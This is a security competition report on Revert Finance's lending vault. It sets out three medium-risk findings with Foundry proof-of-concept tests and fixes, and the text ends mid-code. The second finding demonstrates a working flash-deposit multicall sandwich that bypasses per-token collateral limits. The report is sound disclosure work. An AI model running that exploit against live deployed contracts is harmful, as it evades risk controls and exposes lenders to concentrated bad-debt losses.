



Revert Finance

Competition

June 4, 2026

Contents

1	Introduction	2
1.1	About Cantina	2
1.2	Disclaimer	2
1.3	Risk assessment	2
1.3.1	Severity Classification	2
2	Security Review Summary	3
3	Findings	4
3.1	Medium Risk	4
3.1.1	V3Vault._transform universally enforces the 95% borrow safety buffer, forcing liquidations and paralyzing position management	4
3.1.2	Per-token collateral exposure limit can be bypassed via multi-call flash deposit sandwich around borrow()	7
3.1.3	GaugeManager Lacks combined slippage protection when going through Two-Hop Reward Swap	12

1 Introduction

1.1 About Cantina

Cantina is a security services marketplace that connects top security researchers and solutions with clients. Learn more at cantina.xyz

1.2 Disclaimer

A competition provides a broad evaluation of the security posture of the code at a particular moment based on the information available at the time of the review. While competitions endeavor to identify and disclose all potential security issues, they cannot guarantee that every vulnerability will be detected or that the code will be entirely secure against all possible attacks. The assessment is conducted based on the specific commit and version of the code provided. Any subsequent modifications to the code may introduce new vulnerabilities, therefore, any changes made to the code would require an additional security review. Please be advised that competitions are not a replacement for continuous security measures such as penetration testing, vulnerability scanning, and regular code reviews.

1.3 Risk assessment

Severity level	Impact: High	Impact: Medium	Impact: Low
Likelihood: high	Critical	High	Medium
Likelihood: medium	High	Medium	Low
Likelihood: low	Medium	Low	Low

1.3.1 Severity Classification

The severity of security issues found during the security review is categorized based on the above matrix. High severity findings represent the most critical issues that must be addressed immediately, as they either have high impact and high likelihood of occurrence, or medium impact with high likelihood.

Medium severity findings represent issues that, while not immediately critical, still pose significant risks and should be addressed promptly. These typically involve scenarios with medium impact and medium likelihood, or high impact with low likelihood.

Low severity findings represent issues that, while not posing immediate threats, could potentially cause problems in specific scenarios. These typically involve medium impact with low likelihood, or low impact with medium likelihood.

Lastly, some findings might represent improvements that don't directly impact security but could enhance the codebase's quality, readability, or efficiency (Gas and Informational findings).

2 Security Review Summary

Revert develops analytics and management tools for liquidity providers in AMM protocols.

From Mar 18th to Mar 25th Cantina hosted a competition based on [lend](#) on commit hash [2bb022ee](#). The participants identified a total of **10** issues in the following risk categories:

- High Risk: 0
- Medium Risk: 3
- Low Risk: 2
- Gas Optimizations: 0
- Informational: 5

The present report only outlines the **high** and **medium** risk issues.

3 Findings

3.1 Medium Risk

3.1.1 `V3Vault._transform` universally enforces the 95% borrow safety buffer, forcing liquidations and paralyzing position management

Severity: Medium Risk

Context: (No context files were provided by the reviewer)

Submitted by bzbee42, also found by OadeHack 1, David Ch., 0xRoy, kvar, lucadessenaa, dtbh, gabkov, man-vitatangadadona, udaykiranpedda, uzeyirch, Kkgg123600, Scater, elgodwin, hukka, aikoisdead, 7tecra7, ollie, kind0dev, ezeek33, Merklemore, XDZIBECX, maigadoh, dr. alex, sahuang, Akshay Kumar, jesuschristus, mustapha and wamir

Summary: Revert Lend's `V3Vault` incorrectly hardcodes the 95% borrow safety buffer requirement during position transformations. This directly contradicts the protocol's risk specification, which dictates that debt-neutral operations must bypass the safety buffer. As a result, users whose health falls between 95% and 100% are completely paralyzed and blocked from rescuing their collateral, forcing inevitable liquidations.

Finding Description: Revert Lend relies on two core thresholds: the **95% Borrow Safety Limit** (a 5% overcollateralization buffer required for new borrows) and the **100% Liquidation Threshold** (where a position is underwater and can be forcefully liquidated).

When a user's loan health drifts into the "danger zone" (between 95% and 100%) due to dropping collateral prices or accruing interest, they are not yet liquidatable. To safely recover from this zone, rational borrowers are expected to use protocol-whitelisted Transformers (e.g., `AutoRangeAndCompound`) to re-range dead liquidity or compound accrued Aerodrome rewards, actively boosting their position's collateral value.

Because the user is trying to survive without adding fresh capital or repaying debt out-of-pocket, the protocol's developer documentation of [risk and acceptability](#) explicitly guarantees that these debt-neutral adjustments will bypass the 5% borrow safety limit:

"During `transform()`, if debt did not increase, the borrow safety buffer is intentionally skipped. This allows legitimate position adjustments (range changes, compounding) near utilization boundaries. The full health check is still enforced — positions remain overcollateralized, just without the extra 5% margin. **This is by design**"

However, the `V3Vault._transform` implementation completely ignores this rule. The `_transform()` function natively calls `_requireLoanIsHealthy(newTokenId, debt)` at the end of its execution block to evaluate the user's final state.

Inside `_requireLoanIsHealthy`, the code hardcodes the `withBuffer` parameter to `true`:

```
function _requireLoanIsHealthy(uint256 tokenId, uint256 debt) internal view {
    (bool isHealthy,,, ) = _checkLoanIsHealthy(tokenId, debt, true);
    if (!isHealthy) {
        revert CollateralFail();
    }
}
```

Because `true` is immutably passed, the vault treats a desperate, debt-neutral rescue operation identically to a greedy borrow request. The vault checks if the user's newly compounded 98% health is "safely below the 95% limit". When it evaluates to false, the vault forcefully reverts the transaction with `CollateralFail()`.

Impact Explanation: This logic error fundamentally bricks the protocol's core risk-management architecture.

Borrowers who organically slip into the 95%-100% LTV bracket are systemically paralyzed. They are entirely locked out of managing their own collateral and completely blocked from executing life-saving functions like

`transformWithRewardCompound` . Stripped of their agency to fix their loan, they are forced to helplessly watch their debt climb until it hits the 100% liquidation threshold, resulting in a total loss of their collateral to third-party liquidator bots.

This breaks the explicit economic invariant of the protocol and actively guarantees user loss, mandating a **High** severity assessment.

Likelihood Explanation: High. This is not an edge case; this will happen to any user who utilizes the borrowing features to their limits. The standard lifecycle of a concentrated liquidity position involves occasionally falling out of range. When the position stops earning fees, the borrowing interest naturally pushes the LTV upwards into the "danger zone". At the exact moment they need the protocol's Transformer integrations the most, the codebase will universally reject their transactions.

Proof of Concept: Below are two distinct Proof-of-Concept tests proving this paralysis. The first demonstrates a direct block on reward compounding, and the second demonstrates a user organically accruing interest into the danger zone and being blocked by a no-op transformer.

Proof of Concept 1: Paralysis of Reward Compounding.

Add the test into the existing test file of `test/integration/aerodrome/V3VaultAerodrome.t.sol`.

```
function test_transform_traps_user_in_danger_zone() public {
    // 1. User deposits collateral and borrows to exactly the 95% safety limits
    // Create position with explicit token amounts for better collateral value
    uint256 tokenId = createPositionProper(
        alice,
        address(usdc),
        address(dai),
        1,
        -100,
        100,
        1e18,
        1000e6,
        1000e18
    );

    oracle.setMaxPoolPriceDifference(type(uint16).max);

    vm.startPrank(alice);
    npm.approve(address(vault), tokenId);
    vault.create(tokenId, alice);
    vault.stakePosition(tokenId);
    (, , uint256 collateralValue, , ) = vault.loanInfo(tokenId);

    // Formula for max safety borrow
    uint256 maxBorrow = (collateralValue *
        vault.BORROW_SAFETY_BUFFER_X32()) / type(uint32).max;

    vault.borrow(tokenId, maxBorrow);
    vm.stopPrank();

    // 2. Oracle price shifts, moving the position under 105% buffer health but above
    // ↪ 100% liquidation health
    // Mocking an oracle price shift for illustration (or warp to accrue debt interest)
    vm.warp(block.timestamp + 30 days);

    // 3. User attempts to compound rewards to save the position
    // We use an EOA (bob) to simulate a "no-op" transformer that does not burn the
    // ↪ liquidity.
    // A call with empty data to an EOA succeeds natively without modifying the
    // ↪ position's base collateral value.
    vm.prank(vault.owner());
    vault.setTransformer(bob, true);
}
```

```

vm.prank(alice);
vault.approveTransform(tokenId, bob, true);

vm.startPrank(alice);
// User funds trapped natively.
vm.expectRevert(CollateralFail.selector);
vault.transformWithRewardCompound(
    tokenId,
    bob, // Target EOA
    bytes(""),
    IVault.RewardCompoundParams(0, 5000, block.timestamp)
);
vm.stopPrank();
}

```

Proof of Concept 2: Danger Zone Trap via Natural Interest Accrual.

Add the test into the existing test file of `test/integration/aerodrome/V3VaultTransformBorrowBuffer.t.sol`.

```

contract SafeNoopTransformer {
    function execute() external {}
}

function test_TransformTrapUserInDangerZone() external {
    SafeNoopTransformer safeTransformer = new SafeNoopTransformer();
    vault.setTransformer(address(safeTransformer), true);

    // 1. Alice creates and deposits a position, then borrows to the 95% limit
    uint256 tokenId = createPositionProper(
        alice, address(usdc), address(dai), 1, -100, 100, 1e18, 50000e6, 50000e18
    );
    vm.startPrank(alice);
    npm.approve(address(vault), tokenId);
    vault.create(tokenId, alice);

    (, , uint256 collateralValue, , ) = vault loanInfo(tokenId);
    uint256 maxBorrow = (collateralValue * uint256(vault.BORROW_SAFETY_BUFFER_X32())) /
        ↪ Q32;
    vault.borrow(tokenId, maxBorrow);
    vm.stopPrank();

    // 2. Simulate interest accruing such that the debt exceeds the 95% buffer,
    // but is still safely under the 100% liquidation threshold.
    while (true) {
        vm.warp(block.timestamp + 1);
        (uint256 currentDebtCheck, , , , ) = vault loanInfo(tokenId);
        if (currentDebtCheck > maxBorrow) break;
    }

    // 3. Verify Alice's loan is verifiably in the "danger zone".
    (uint256 currentDebt, , uint256 currentCV, , ) = vault loanInfo(tokenId);
    assertTrue(currentDebt > maxBorrow, "Debt did not accrue to Danger Zone");
    assertTrue(currentDebt < currentCV, "Alice should not be liquidatable yet");

    // 4. Alice realizes she is in danger and attempts to safely re-range via the
    ↪ Transformer.
    vm.startPrank(alice);
    vault.approveTransform(tokenId, address(safeTransformer), true);

    // BUG: The vault universally enforces the 95% buffer and permanently blocks her
    ↪ recovery.
    vm.expectRevert(Constants.CollateralFail.selector);
    vault.transform(
        tokenId,

```

```

        address(safeTransformer),
        abi.encodeCall(SafeNoopTransformer.execute, ())
    );
    vm.stopPrank();
}

```

Recommendation: `_requireLoanIsHealthy` must be refactored to accept the `withBuffer` boolean dynamically. Update `_transform` to snapshot the user's debt prior to executing the callback, and only pass `true` to `withBuffer` if the user actively increased their debt.

1. Modify `_requireLoanIsHealthy` :

```

- function _requireLoanIsHealthy(uint256 tokenId, uint256 debt) internal view {
-     (bool isHealthy,,) = _checkLoanIsHealthy(tokenId, debt, true);
+ function _requireLoanIsHealthy(uint256 tokenId, uint256 debt, bool withBuffer) internal
+     view {
+     (bool isHealthy,,) = _checkLoanIsHealthy(tokenId, debt, withBuffer);
+     if (!isHealthy) {
+         revert CollateralFail();
+     }
+ }

```

2. Update `V3Vault._transform()` to evaluate the delta in debt shares:

```

function _transform(...) internal returns (uint256 newTokenId) {
    // ...
+   uint256 oldDebtShares = loans[tokenId].debtShares;

    (bool success,) = transformer.call(data);
    // ...

    uint256 debt = _convertToAssets(loans[newTokenId].debtShares,
    ↪ newDebtExchangeRateX96, Math.Rounding.Up);
    if (wasStaked) {
        _stake(newTokenId);
    }
-   _requireLoanIsHealthy(newTokenId, debt);
+   bool debtIncreased = loans[newTokenId].debtShares > oldDebtShares;
+   _requireLoanIsHealthy(newTokenId, debt, debtIncreased);
    transformedTokenId = 0;
}

```

(Note: Be sure to update all other existing calls to `_requireLoanIsHealthy` in `borrow()` and `decreaseLiquidityAndCollect()` to pass `true` as the third argument to maintain the baseline invariant that extracting unbound liquidity is strictly buffered.)

3.1.2 Per-token collateral exposure limit can be bypassed via multi-call flash deposit sandwich around `borrow()`

Severity: Medium Risk

Context: (No context files were provided by the reviewer)

Submitted by *tobwilson*, also found by *rokinot*, *hyh*, *David Ch.*, *Trynax*, *Cheatc0d3*, *Dessy06*, *Marketer7*, *Codertjay*, *rocket*, *Elizabeth*, *dtbh*, *konvati*, *crypticmind*, *edoscoba*, *demonhat*, *kvar*, *theBugLifestyle*, *Dec3mber*, *taticuvostru*, *elgodwin*, *tinnohofficial*, *Inspektor*, *shreyashkhare70*, *bratwork*, *0xDemon*, *coolcappy*, *hadramaut* and *sahuang*

Summary: An attacker can bypass the `collateralValueLimitFactorX32` per-token exposure limit by atomically flash-depositing lending assets before a `borrow()` call and withdrawing them after, all within a single `multicall()`. This inflates `totalSupply()` during the collateral limit check, allowing a borrow to pass a limit it would otherwise violate. The inflated debt persists after the deposit is unwound.

Finding Description: The per-token collateral exposure check in `_updateAndCheckCollateral()` (L1292-1333) reads `totalSupply()` live to compute `lentAssets` :

```
// V3Vault.sol L1314
uint256 lentAssets = _convertToAssets(totalSupply(), lendExchangeRateX96,
↳ Math.Rounding.Up);
```

The check then enforces:

```
// L1316-1322
collateralValueLimitFactorX32 < type(uint32).max
&& _convertToAssets(tokenConfigs[token].totalDebtShares, debtExchangeRateX96,
↳ Math.Rounding.Up)
> lentAssets * collateralValueLimitFactorX32 / Q32
```

So the maximum per-token debt is proportional to `lentAssets` , which is derived from `totalSupply()` .

Any contract that sequences these three calls in a single transaction can bypass the limit (the PoC uses V3Vault's inherited `multicall` for convenience, but a standalone attacker contract works identically):

1. `deposit(delta, attacker)` transfers `delta` assets into the vault and mints shares via `_mint()` (L965), inflating `totalSupply()` .
2. `borrow(tokenId, B)` borrows `B` assets. The `_updateAndCheckCollateral` call at L619 reads the now-inflated `totalSupply()` , computing a larger `lentAssets` denominator. The per-token debt limit `lentAssets * factor / Q32` is artificially relaxed and the borrow passes a check it should have failed.
3. `withdraw(delta, attacker, attacker)` burns the shares via `_burn()` (L997), restoring `totalSupply()` to its original value. The attacker gets `delta` back.

After the transaction, `totalSupply()` is back where it started but `tokenConfigs[token].totalDebtShares` has been permanently increased past what the real `lentAssets` would have allowed.

The attacker does not need to hold `delta` permanently. They can flash-loan it from Aave or Uniswap, execute the attack, and repay the flash loan in the same transaction. The root cause is that the collateral limit check reads a live `totalSupply()` which can be transiently inflated within a single transaction — no special batching primitive is required.

Constraints bounding the attack:

- `globalLendLimit` (checked in `_deposit` at L955) caps `delta` at `globalLendLimit - currentLentAssets` .
- The health check at L630-632 still requires the loan to be overcollateralized. This bypasses the concentration limit, not the solvency check.
- The `_withdraw` liquidity check at L991-994 is the tightest binding constraint. To withdraw `delta` at the end, the vault's raw asset balance must be `>= delta` . After `deposit(delta)` and `borrow(B)` , the balance is `realBalance + delta - B` , so the withdraw requires `B <= realBalance` . Here `realBalance` is the vault's pre-sandwich asset balance, roughly `realLent - existingDebt` .

This last constraint caps the absolute per-token debt at roughly `realLent` , a 100% exposure ratio regardless of the configured `factor` . In the PoC (`realLent` = 10 USDC, `factor` = 50%) the attacker can reach ~10 USDC of per-token debt, double the configured cap. Recycling the borrow back into deposits does not escape this bound since each re-deposited borrow also counts in `lentAssets` , holding the post-attack ratio at `<=100%` . The relative bypass is worse for tighter limits: a 50% factor yields a 2x bypass, a 10% factor yields a 10x bypass.

Impact Explanation: Medium. The `collateralValueLimitFactorX32` rail exists to cap the protocol's worst-case bad-debt exposure to any single collateral asset. Bypassing it means that if the over-concentrated collateral token crashes (stablecoin depeg, thin-liquidity token dump), a disproportionate

share of the protocol's debt book goes underwater simultaneously. This creates larger liquidation cascades, higher `reserveCost`, and a larger socialized loss for lenders than the admin-configured limit was designed to permit. In the worst case, an attacker intentionally over-concentrates on a thin-liquidity token and then manipulates that token's price to trigger a wave of bad debt beyond the reserve's capacity.

All loans remain individually overcollateralized per the health check. The damage is systemic risk concentration that materializes only when a collateral asset depegs or crashes.

Likelihood Explanation: Medium. The attack requires only a flash loan, an existing Uniswap V3 LP position, and a single transaction. No special privileges or timing constraints. An attacker who wants to max out borrowing against a specific collateral token, or who intends to later manipulate that token's price, has a direct incentive to bypass concentration limits. The withdraw liquidity check caps the bypass at the vault's pre-attack asset balance, so a highly-utilized vault offers less room than a low-utilization one.

Proof of Concept: The following Foundry test demonstrates the bypass. It forks Ethereum mainnet at block 18521658 and:

1. Configures a 50% per-token collateral exposure limit (`collateralValueLimitFactorX32 = Q32 / 2`).
2. Shows that a direct borrow exceeding this limit reverts with `CollateralValueLimit()` .
3. Shows that the same borrow succeeds when wrapped in a multicall sandwich with `deposit` and `withdraw` .
4. Verifies that after the multicall, the per-token debt exceeds the limit that would be enforced under the real `lentAssets` .

Instructions:

1. Place this file in `PROJECT_ROOT/test/integration/uniswap/POC.t.sol`.
2. Configure `ANKR_API_KEY` in your environment. Any RPC works but you'll have to modify the PoC.
3. Run `forge test --match-test testCollateralLimitBypassViaMulticall --match-path test/integration/uniswap/POC.t.sol -vvv --fork-url "https://rpc.ankr.com/eth/$ANKR_API_KEY" --fork-block-number 18521658` .

```
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "forge-std/console.sol";

import "../../../src/V3Oracle.sol";
import "../../../src/V3Vault.sol";
import "../../../src/InterestRateModel.sol";

contract CollateralLimitBypassTest is Test {
    uint256 constant Q32 = 2 ** 32;
    uint256 constant Q64 = 2 ** 64;
    uint256 constant Q96 = 2 ** 96;

    address constant WHALE_ACCOUNT = 0xF977814e90dA44bFA03b6295A0616a897441aceC;

    IERC20 constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 constant DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    IERC20 constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    INonfungiblePositionManager constant NPM =
        INonfungiblePositionManager(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);

    address constant CHAINLINK_USDC_USD = 0x8fFfFfd4AfB6115b954Bd326cbe7B4BA576818f6;
    address constant CHAINLINK_DAI_USD = 0xAed0c38402a5d19df6E4c03F4E2DceD6e29c1ee9;
    address constant CHAINLINK_ETH_USD = 0x5f4eC3Df9cbd43714FE2740f5E3616155c5b8419;

    address constant UNISWAP_DAI_USDC = 0x5777d92f208679DB4b9778590Fa3CAB3aC9e2168;
```

```

address constant UNISWAP_ETH_USDC = 0x88e6A0c2dDD26FEEb64F039a2c41296FcB3f5640;

address constant TEST_NFT_ACCOUNT = 0x3b8ccaa89FcD432f1334D35b10fF8547001Ce3e5;
uint256 constant TEST_NFT = 126; // DAI/USDC 0.05%

V3Vault vault;
InterestRateModel interestRateModel;
V3Oracle oracle;

function setUp() external {
    string memory ANKR_RPC = string.concat(
        "https://rpc.ankr.com/eth/",
        vm.envString("ANKR_API_KEY")
    );
    vm.createSelectFork(ANKR_RPC, 18521658);

    interestRateModel = new InterestRateModel(0, Q64 * 5 / 100, Q64 * 109 / 100, Q64
        ↪ * 80 / 100);

    oracle = new V3Oracle(NPM, address(USDC), address(0));
    oracle.setMaxPoolPriceDifference(200);
    oracle.setTokenConfig(
        address(USDC), AggregatorV3Interface(CHAINLINK_USDC_USD),
        3600 * 24 * 30, IUniswapV3Pool(address(0)), 0, V3Oracle.Mode.TWAP, 0
    );
    oracle.setTokenConfig(
        address(DAI), AggregatorV3Interface(CHAINLINK_DAI_USD),
        3600 * 24 * 30, IUniswapV3Pool(UNISWAP_DAI_USDC), 60,
        V3Oracle.Mode.CHAINLINK_TWAP_VERIFY, 50000
    );
    oracle.setTokenConfig(
        address(WETH), AggregatorV3Interface(CHAINLINK_ETH_USD),
        3600 * 24 * 30, IUniswapV3Pool(UNISWAP_ETH_USDC), 60,
        V3Oracle.Mode.CHAINLINK_TWAP_VERIFY, 50000
    );

    vault = new V3Vault("Revert Lend USDC", "rUSDC", address(USDC), NPM,
        ↪ interestRateModel, oracle);

    // 50% per-token collateral exposure limit (not type(uint32).max which disables
    ↪ it)
    uint32 limitFactor = uint32(Q32 / 2);
    vault.setTokenConfig(address(USDC), uint32(Q32 * 9 / 10), limitFactor);
    vault.setTokenConfig(address(DAI), uint32(Q32 * 9 / 10), limitFactor);
    vault.setTokenConfig(address(WETH), uint32(Q32 * 9 / 10), limitFactor);

    // globalLendLimit = 100 USDC, globalDebtLimit = 100 USDC
    // dailyLendIncreaseLimit = 100 USDC, dailyDebtIncreaseLimit = 100 USDC
    vault.setLimits(0, 100_000_000, 100_000_000, 100_000_000, 100_000_000);
    vault.setReserveFactor(0);
}

function testCollateralLimitBypassViaMulticall() external {
    // Seed initial lending pool with 10 USDC
    uint256 initialDeposit = 10_000_000;
    vm.prank(WHALE_ACCOUNT);
    USDC.approve(address(vault), initialDeposit);
    vm.prank(WHALE_ACCOUNT);
    vault.deposit(initialDeposit, WHALE_ACCOUNT);

    // Create collateral position
    vm.prank(TEST_NFT_ACCOUNT);
    NPM.approve(address(vault), TEST_NFT);
    vm.prank(TEST_NFT_ACCOUNT);
    vault.create(TEST_NFT, TEST_NFT_ACCOUNT);
}

```

```

(, uint256 fullValue, uint256 collateralValue,,) = vault loanInfo(TEST_NFT);
console.log("Full collateral value:", fullValue);
console.log("Discounted collateral value:", collateralValue);

// With 50% limit factor and 10 USDC lent, max per-token debt = 10 * 50% = 5 USDC
// Borrow more than 5 USDC to demonstrate the limit
uint256 borrowAmount = 6_000_000; // 6 USDC, exceeds 50% of 10 USDC lentAssets

// Show direct borrow FAILS the collateral limit
vm.prank(TEST_NFT_ACCOUNT);
vm.expectRevert(Constants.CollateralValueLimit.selector);
vault.borrow(TEST_NFT, borrowAmount);
console.log("Direct borrow of 6 USDC correctly reverted with
↳ CollateralValueLimit");

// Execute the multicall sandwich bypass.
// Flash-deposit 50 USDC to inflate totalSupply, borrow 6 USDC, then withdraw the
↳ 50 USDC.
uint256 flashDepositAmount = 50_000_000;

// Give TEST_NFT_ACCOUNT enough USDC for the flash deposit.
// In practice this would come from a flash loan.
vm.prank(WHALE_ACCOUNT);
USDC.transfer(TEST_NFT_ACCOUNT, flashDepositAmount);

vm.prank(TEST_NFT_ACCOUNT);
USDC.approve(address(vault), flashDepositAmount);

bytes[] memory calls = new bytes[](3);
calls[0] = abi.encodeCall(V3Vault.deposit, (flashDepositAmount,
↳ TEST_NFT_ACCOUNT));
calls[1] = abi.encodeCall(V3Vault.borrow, (TEST_NFT, borrowAmount));
calls[2] = abi.encodeCall(V3Vault.withdraw, (flashDepositAmount,
↳ TEST_NFT_ACCOUNT, TEST_NFT_ACCOUNT));

vm.prank(TEST_NFT_ACCOUNT);
vault.multicall(calls); // succeeds
console.log("Multicall sandwich succeeded, borrowed 6 USDC bypassing limit");

// Verify the limit is now violated.
// totalSupply() is back to its original value (10 USDC worth of shares)
// but the per-token debt is 6 USDC, which is 60% of 10 USDC.
uint256 lentAssets = vault.totalAssets();
console.log("Post-attack lentAssets (USDC):", lentAssets);
console.log("Borrowed amount (USDC):", borrowAmount);
console.log("Effective exposure ratio:", borrowAmount * 100 / lentAssets, "%");
console.log("Configured limit: 50%");

assertTrue(
    borrowAmount * Q32 > lentAssets * (Q32 / 2),
    "Per-token debt should exceed the configured 50% limit"
);
}
}

```

Recommendation: The root cause is that `_updateAndCheckCollateral()` reads a live `totalSupply()` that can be transiently inflated within the same transaction. The subcalls run sequentially, not nested, so a flag that is set and cleared inside `_deposit` itself would be `false` again by the time `borrow()` runs. Any fix must persist state across sequential calls within the transaction.

Track intra-transaction supply inflation with EIP-1153 transient storage and discount it in the check:

```

// net shares minted in this tx (deposits - withdraws, floored at 0)
uint256 private transient _txSupplyInflation;

```

```

function _deposit(...) internal returns (...) {
    // ... existing logic ...
    _mint(receiver, shares);
    _txSupplyInflation += shares;
    // ...
}

function _withdraw(...) internal returns (...) {
    // ... existing logic ...
    _burn(owner, shares);
    _txSupplyInflation = shares >= _txSupplyInflation ? 0 : _txSupplyInflation - shares;
    // ...
}

function _updateAndCheckCollateral(...) internal {
    // ...
    // discount any supply that was minted earlier in this same transaction
    uint256 lentAssets = _convertToAssets(
        totalSupply() - _txSupplyInflation, lendExchangeRateX96, Math.Rounding.Up
    );
    // ... rest of check unchanged ...
}

```

The transient slot is zeroed automatically at the end of every transaction, so the discount applies only to same-tx inflation. Legitimate deposits from prior transactions are unaffected. This closes the bypass whether the attacker uses `multicall()` or a custom contract, since the transient state is per-transaction rather than per-call-frame.

3.1.3 GaugeManager Lacks combined slippage protection when going through Two-Hop Reward Swap

Severity: Medium Risk

Context: (No context files were provided by the reviewer)

Submitted by [0xAristos](#), also found by [0x4non](#)

Summary: When no direct `rewardBasePool` exists for a position token, `_swapAeroToTarget` performs a two-hop swap (AERO → intermediate token → target token). Each hop has its own TWAP validation and `amountOutMin`, but there is no final slippage check on the combined route. This allows cumulative slippage of 4%+ even when each individual hop passes its check.

Finding Description: In `_swapAeroToTarget`:

```

uint256 intermediateAmount =
    _swapThroughPool(IUniswapV3Pool(intermediatePool), address(aeroToken),
        ↪ otherToken, amountIn);
amountOut = _swapThroughPool(positionPool, otherToken, targetToken,
    ↪ intermediateAmount);
return (amountIn, amountOut);

```

Each `_swapThroughPool` internally calls `_validateSwap` (TWAP + max price difference) and enforces `amountOutMin` **only for that hop**.

```

uint256 amountOutMin = _validateSwap(
    swap0For1,
    amountIn,
    pool,
    currentTick,
    sqrtPriceX96,
    REWARD_TWAP_SECONDS,           // 60 seconds
    REWARD_MAX_TWAP_TICK_DIFFERENCE, // 200 ticks
)

```

```

    REWARD_MAX_PRICE_DIFFERENCE_X64 // 2%
);

```

Because each hop only validates against its own pool's TWAP in isolation, slippage compounds multiplicatively across the two hops with no end-to-end check on the combined route's output. Consider the following scenario:

Given:

- 1 AERO = 1 USDC .
- 1 WETH = 2,700 USDC .
- Per-hop slippage tolerance = 2%.
- No direct AERO/WETH pool → two-hop route required.

Single-hop (hypothetical direct):

- 500 AERO → WETH .
- $500 \times (1 - 2\%) = 490$ USDC worth of WETH . = 0.18148 WETH . Value lost = 10 USDC (2%).

Two-hop (actual):

- Hop 1: 500 AERO → USDC .
- $500 \times (1 - 2\%) = 490$ USDC .
- Per-hop TWAP check passes □.
- Hop 2: 490 USDC → WETH .
- $490 \times (1 - 2\%) = 480.2$ USDC worth of WETH . = 0.17785 WETH .
- Per-hop TWAP check passes □.
- Combined slippage = $1 - (0.98 \times 0.98) = 3.96\%$.
- Value lost = 19.8 USDC . No combined check catches this.

Both hops individually pass the 2% TWAP validation while the combined route silently loses nearly 4% of value. This loss is borne entirely by the position owner since it directly reduces the amount of tokens available for liquidity compounding.

Impact Explanation: Users lose 4–8%+ of their AERO rewards in volatile or low-liquidity conditions due to unmitigated combined slippage. The protocol still takes its 2% reward cut on the already-reduced amounts, amplifying the loss. This is a direct economic leak for every compound call that uses the two-hop path.

Proof of Concept:

```

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";

import "v3-core/interfaces/callback/IUniswapV3SwapCallback.sol";

import "../../../../src/GaugeManager.sol";
import "../../../../src/interfaces/aerodrome/IAerodromeSlipstreamPool.sol";
import "../../../../src/interfaces/aerodrome/IGauge.sol";
import "../../../../src/utils/Constants.sol";

```

```

contract MockERC20Token is ERC20 {
    constructor(string memory name_, string memory symbol_) ERC20(name_, symbol_) {}

    function mint(address to, uint256 amount) external {
        _mint(to, amount);
    }
}

contract MockSlipstreamFactory {
    mapping(bytes32 => address) internal pools;

    function setPool(address tokenA, address tokenB, int24 tickSpacing, address pool)
    ↪ external {
        pools[_key(tokenA, tokenB, tickSpacing)] = pool;
    }

    function getPool(address tokenA, address tokenB, int24 tickSpacing) external view
    ↪ returns (address) {
        return pools[_key(tokenA, tokenB, tickSpacing)];
    }

    function getPool(address tokenA, address tokenB, uint24 fee) external view returns
    ↪ (address) {
        return pools[_key(tokenA, tokenB, int24(uint24(fee)))] ;
    }

    function _key(address tokenA, address tokenB, int24 tickSpacing) internal pure
    ↪ returns (bytes32) {
        return tokenA < tokenB
            ? keccak256(abi.encode(tokenA, tokenB, tickSpacing))
            : keccak256(abi.encode(tokenB, tokenA, tickSpacing));
    }
}

contract MockPool is IAerodromeSlipstreamPool {
    address public immutable override token0;
    address public immutable override token1;
    uint24 public immutable override fee;
    int24 public immutable override tickSpacing;

    uint160 public sqrtPriceX96 = 79228162514264337593543950336;
    int24 public tick;
    int24 public observedTick;
    uint16 public observationIndex;
    uint16 public observationCardinality = 10;
    uint16 public observationCardinalityNext = 10;
    bool public unlocked = true;
    uint16 public outputBps = 10_000;

    uint256 public override feeGrowthGlobal0X128;
    uint256 public override feeGrowthGlobal1X128;
    address public override gauge;

    constructor(address tokenA, address tokenB, int24 _tickSpacing) {
        (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        tickSpacing = _tickSpacing;
        fee = uint24(uint256(uint24(_tickSpacing)));
    }

    function setGauge(address _gauge) external {
        gauge = _gauge;
    }

    function setOutputBps(uint16 _outputBps) external {
        outputBps = _outputBps;
    }
}

```

```

function setTick(int24 _tick) external {
    tick = _tick;
}

function setObservedTick(int24 _tick) external {
    observedTick = _tick;
}

function slot0()
    external
    view
    override
    returns (
        uint160 sqrtPriceX96_,
        int24 tick_,
        uint16 observationIndex_,
        uint16 observationCardinality_,
        uint16 observationCardinalityNext_,
        bool unlocked_
    )
{
    return (sqrtPriceX96, tick, observationIndex, observationCardinality,
        ↪ observationCardinalityNext, unlocked);
}

function swap(address recipient, bool zeroForOne, int256 amountSpecified, uint160,
    ↪ bytes calldata data)
    external
    returns (int256 amount0, int256 amount1)
{
    uint256 amountIn = uint256(amountSpecified);
    uint256 amountOut = amountIn * outputBps / 10_000;

    if (zeroForOne) {
        IERC20(token1).transfer(recipient, amountOut);
        IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(int256(amountIn),
            ↪ -int256(amountOut), data);
        return (int256(amountIn), -int256(amountOut));
    }

    IERC20(token0).transfer(recipient, amountOut);
    IUniswapV3SwapCallback(msg.sender).uniswapV3SwapCallback(-int256(amountOut),
        ↪ int256(amountIn), data);
    return (-int256(amountOut), int256(amountIn));
}

function observe(uint32[] calldata secondsAgos)
    external
    view
    override
    returns (int56[] memory tickCumulatives, uint160[] memory
        ↪ secondsPerLiquidityPostWriteX128s)
{
    tickCumulatives = new int56[](secondsAgos.length);
    secondsPerLiquidityPostWriteX128s = new uint160[](secondsAgos.length);
    for (uint256 i = 0; i < secondsAgos.length; ++i) {
        tickCumulatives[i] = int56(observedTick) * int56(uint56(secondsAgos[i]));
    }
}

function positions(bytes32)
    external
    pure
    override
    returns (

```

```

        uint128 liquidity,
        uint256 feeGrowthInside0LastX128,
        uint256 feeGrowthInside1LastX128,
        uint128 tokensOwed0,
        uint128 tokensOwed1
    )
}

return (liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128,
